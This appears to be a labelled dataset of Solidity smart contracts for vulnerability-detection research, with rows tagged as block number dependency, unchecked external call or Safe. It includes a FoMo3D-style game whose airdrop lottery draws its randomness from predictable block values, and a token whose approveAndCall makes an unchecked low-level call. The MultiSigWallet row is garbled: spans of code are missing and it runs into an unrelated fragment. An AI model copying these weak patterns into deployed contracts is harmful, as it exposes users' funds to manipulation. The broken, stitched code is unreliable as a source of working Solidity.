_pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x0081138a2920c8aa793d02354678198c89c8c0c8_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29808000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x102f453c63C48803Dc12B19Ab184B9885810bf45; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 36321.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract Shard is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Shard( ) { balances[msg.sender] = 100000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000000000000000; // Update total supply (100000 for example) name = ""Shard""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposesa symbol = ""SHRD""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x036ae648ed4a16ff471849c8f2f033d87314ab46_HardCap.sol,"pragma solidity 0.4.19; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title HardCap * @dev Allows updating and retrieveing of Conversion HardCap for ABLE tokens * * ABI * [{""constant"": true,""inputs"": [{""name"": ""_symbol"",""type"": ""string""}],""name"": ""getCap"",""outputs"": [{""name"": """",""type"": ""uint256""}],""payable"": false,""stateMutability"": ""view"",""type"": ""function""},{""constant"": true,""inputs"": [],""name"": ""owner"",""outputs"": [{""name"": """",""type"": ""address""}],""payable"": false,""stateMutability"": ""view"",""type"": ""function""},{""constant"": false,""inputs"": [{""name"": ""_symbol"",""type"": ""string""},{""name"": ""_cap"",""type"": ""uint256""}],""name"": ""updateCap"",""outputs"": [],""payable"": false,""stateMutability"": ""nonpayable"",""type"": ""function""},{""constant"": false,""inputs"": [{""name"": ""data"",""type"": ""uint256[]""}],""name"": ""updateCaps"",""outputs"": [],""payable"": false,""stateMutability"": ""nonpayable"",""type"": ""function""},{""constant"": true,""inputs"": [],""name"": ""getHardCap"",""outputs"": [{""name"": """",""type"": ""uint256""}],""payable"": false,""stateMutability"": ""view"",""type"": ""function""},{""constant"": true,""inputs"": [{""name"": """",""type"": ""bytes32""}],""name"": ""caps"",""outputs"": [{""name"": """",""type"": ""uint256""}],""payable"": false,""stateMutability"": ""view"",""type"": ""function""},{""constant"": false,""inputs"": [{""name"": ""newOwner"",""type"": ""address""}],""name"": ""transferOwnership"",""outputs"": [],""payable"": false,""stateMutability"": ""nonpayable"",""type"": ""function""},{""anonymous"": false,""inputs"": [{""indexed"": false,""name"": ""timestamp"",""type"": ""uint256""},{""indexed"": false,""name"": ""symbol"",""type"": ""bytes32""},{""indexed"": false,""name"": ""rate"",""type"": ""uint256""}],""name"": ""CapUpdated"",""type"": ""event""}] */ contract HardCap is Ownable { using SafeMath for uint; event CapUpdated(uint timestamp, bytes32 symbol, uint rate); mapping(bytes32 => uint) public caps; uint hardcap = 0; /** * @dev Allows the current owner to update a single cap. * @param _symbol The symbol to be updated. * @param _cap the cap for the symbol. */ function updateCap(string _symbol, uint _cap) public onlyOwner { caps[sha3(_symbol)] = _cap; hardcap = hardcap.add(_cap) ; CapUpdated(now, sha3(_symbol), _cap); } /** * @dev Allows the current owner to update multiple caps. * @param data an array that alternates sha3 hashes of the symbol and the corresponding cap . */ function updateCaps(uint[] data) public onlyOwner { require(data.length % 2 == 0); uint i = 0; while (i < data.length / 2) { bytes32 symbol = bytes32(data[i * 2]); uint cap = data[i * 2 + 1]; caps[symbol] = cap; hardcap = hardcap.add(cap); CapUpdated(now, symbol, cap); i++; } } /** * @dev Allows the anyone to read the current cap. * @param _symbol the symbol to be retrieved. */ function getCap(string _symbol) public constant returns(uint) { return caps[sha3(_symbol)]; } /** * @dev Allows the anyone to read the current hardcap. */ function getHardCap() public constant returns(uint) { return hardcap; } }",Safe,8,8 1275.sol,"/// This code was taken from: https://github.com/ConsenSys. Please do not change or refactor. pragma solidity 0.4.11; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract Claimable is Ownable { address public pendingOwner; modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract SimpleFlyDropToken is Claimable { using SafeMath for uint256; ERC20 internal erc20tk; function setToken(address _token) onlyOwner public { require(_token != address(0)); erc20tk = ERC20(_token); } function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { require(_destAddrs.length == _values.length); uint256 i = 0; for (; i < _destAddrs.length; i = i.add(1)) { if (!erc20tk.transfer(_destAddrs[i], _values[i])) { break; } } return (i); } } contract DelayedClaimable is Claimable { uint256 public end; uint256 public start; function setLimits(uint256 _start, uint256 _end) onlyOwner public { require(_start <= _end); end = _end; start = _start; } function claimOwnership() onlyPendingOwner public { require((block.number <= end) && (block.number >= start)); emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = 